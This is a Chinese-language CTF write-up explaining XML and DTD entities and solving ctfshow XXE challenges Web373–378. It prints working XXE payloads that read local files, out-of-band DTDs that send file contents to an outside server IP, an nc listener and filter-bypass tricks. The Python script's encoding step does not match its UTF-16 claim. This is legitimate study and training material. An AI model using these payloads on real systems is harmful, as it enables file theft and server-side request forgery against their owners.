XXE
0x01 前置知识汇总
XML
可扩展标记语言(eXtensible Markup Language)
区分XML和HTML:
XML用途:
将HTML中的数据分离,当动态修改数据时可以将存储在XML文件中的数据读取调用,避免对HTML进行任何改变,只需要利用JavaScript代码读取外部XML文件
XML语法:
- 树形结构 必须具有根元素
<root>
<child>
<subchild>.....</subchild>
</child>
</root>
举例:
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
- 声明 :
<?xml version="1.0" encoding="utf-8"?> - 标签中大小写敏感
- 属性值必须加引号
- 实体引用
一些字符拥有特殊含义 所以使用实体引用代替特殊字符
<message>if salary < 1000 then</message>
<message>if salary < 1000 then</message>
DTD (Document Type Definition)
作用:
在XML文档中加入DTD声明可以告诉XML解析器该文档遵循哪个DTD文档类型,对文档进行验证,以确保文档正确性。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE rootElement SYSTEM "example.dtd">
<rootElement>
<childElement>Hello World!</childElement>
</rootElement>
:
<!ELEMENT:
0x02 XXE
什么是XXE :构造恶意DTD 主要是利用实体引用
实体引用介绍:
一、通用实体
- 内部实体(无SYSTEM 不需要引用外部文件)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
在user标签里面 使用&进行引用 解析输出的时候就会被test替换
- 外部实体(带有SYSTEM 需要请求外部文件)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
相当于在dtd文档中创建了外部实体xxe 该实体的作用是读取本地文件
当解析xml文档的时候会遇到&xxe 会自动执行读取文件的操作
上面的SYSTEM 引用的方法还可以使用公用DTD的方法操作
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名" “公用DTD的URI">
二、参数实体
定义:% 实体名
引用:%实体名;
特点:类似上面通用实体 支持外部引用
举例:
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
0x03 XXE危害
- file://xxx读取文件
- SSRF攻击
- 盲注 信息数据泄露
- 结合文件上传 getshell
0x04 攻击方式
1. 通过File协议读取文件
题目原始post的数据
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>
我们通过抓包后修改post传输代码
<?xml version='1.0'?>
<!DOCTYPE any[<!ENTITY test SYSTEM "file:///etc/passwd">]>
<comment>
<text>&test;</text>
</comment>
解析时实现对指定文件的读取
上例题:
Web373(有回显)
前置语言基础:
libxml_disable_entity_loader(false);
将xml引用外部实体禁用 但是不知道对这个题目有什么影响
$xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
创建DOMDocument对象 加载XML文件
在XML文件中在提取ctfshow 标签内的内容 进行echo显示
解题:
首先存在php://input 读取我们抓包发送的内容
那么我们就可以写一个xml文件
然后在ctfshow标签中引用外部实体 读取flag文件
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<happy>
<ctfshow>&cmd;</ctfshow>
</happy>
#test.dtd
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://154.8.183.198:10086/%file;'> ">
%dtd;
%xxe;
Web374(无回显)
首先我们来关注一下源码 看看这道题和上一道题有什么区别
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
仍然存在XML文档的加载,但是555 没有echo回显了,那么题目服务器的内容我们看不到
怎么做!
上我们自己的服务器~ 将内容带出
分为两个部分:一个是直接让我们的题目服务器解析的xml文档语句,一个是我们存放在我们自己的vps上的外部dtd文档,然后在题目服务器xml解析时对我们的vps发起请求,然后在vps中将获得的内容传输到端口监听中
- 使用
php://filter 获取目标文件内容,然后将内容以http请求的方式发送到我们的vps上
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base-encode/resource=/flag">
<!ENTITY % dtds SYSTEM "http://154.8.183.198/test/test.dtd">
%dtds;
]>
<root>
1
</root>
- 放在我们服务器上的内容
<!ENTITY % dtd "<!ENTITY % showflag SYSTEM 'http://ip:port/%file;'>">
%dtd;
%showflag;
梳理一下整个执行过程:
首先在1中会解析%dtds 去调用2的内容
然后2的内容展示在面板上之后会触发2中%dtd的解析 将2中内层嵌套的语句加载到面板上
然后解析%showflag 去加载SYSTEM的语句,访问我们的vps,同时携带file获得的数据,其中%file获得已经在面板中1里面的请求。
注意!一定要注意 POST传输的数据里面一定不要和vps中的文件里面定义的变量重名。比如vps中设置的是dtd我们POST传输的时候需要dtds或者其他任意的。
避坑:
- 自己服务器的端口一定要放通!!!要不然根本无法请求
然后在bp中POST传入我们的payload
在自己的服务器开启监听nc -lnvp 10086 就可以获得flag啦!
Web375
继续与上题进行类比我们可以发现增加的是对xml头的整个语句的正则匹配
注意这里的正则匹配是针对整个语句的匹配,只要这里面有地方改变就会绕过这种正则匹配
<\?xml version="1\.0" 注意这里的\表示特殊符号的转义
所以说整体的匹配语句就是<?xml version="1.0"的
绕过方法一:
直接不写了,传一下试试
<!DOCTYPE hacker[
<!ENTITY % file SYSTEM "php://filter/read=convert.base-encode/resource=/flag">
<!ENTITY % dtds SYSTEM "http://xxx/test/test.dtd">
%dtds;
]>
<root>
1
</root>
绕过方法二:
添加空格
<?xml version="1.0" encoding="UTF-8"?>
<?xml version="1.0" encoding="UTF-8"?>
绕过方法三:
引号替换绕过
<?xml version="1.0" encoding="UTF-8"?>
<?xml version='1.0' encoding="UTF-8"?>
Web376
关注和上一题的区别:
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile))
在结尾出多了一个/i 表示整个匹配不区分大小写
和上题的payload相同
此外还想补充一下:注意前面我们说到的
看到这个题目我本来想上一题是不是还可以大小写绕过 于是我退回去重做,发现大小写绕过根本走不通!
Web377
同样先看与上一题的区别
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile))
增添了对http的
在xml文档的编码中,不仅仅支持utf-8编码 同时也支持utf-16编码,所以我们可以将payload转为utf-16编码然后post传送数据
import requests
url = "http://c5cd315f-3854-4073-b5dc-42c8d51f32e4.challenge.ctf.show/"
payload = '''
<!DOCTYPE hacker[
<!ENTITY % file SYSTEM "php://filter/read=convert.base-encode/resource=/flag">
<!ENTITY % dtds SYSTEM "http://154.8.183.198/test/test.dtd">
%dtds;
]>
<root>
1
</root>'''
payload = payload.encode('utf-8')
print(payload)
re = requests.post(url, data=payload)
print(re.text)
我们发现编码后http彻底绕过
在nc中成功获得flag
Web378
打开后是一个登录界面,ctrl+u 查看一下源码,
一眼发现了post穿xml的内容
所以首先我们定义一个变量,用于读取flag文件
然后在输入框中引用外部实体
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<user><username>&cmd;</username><password>&cmd;</password></user>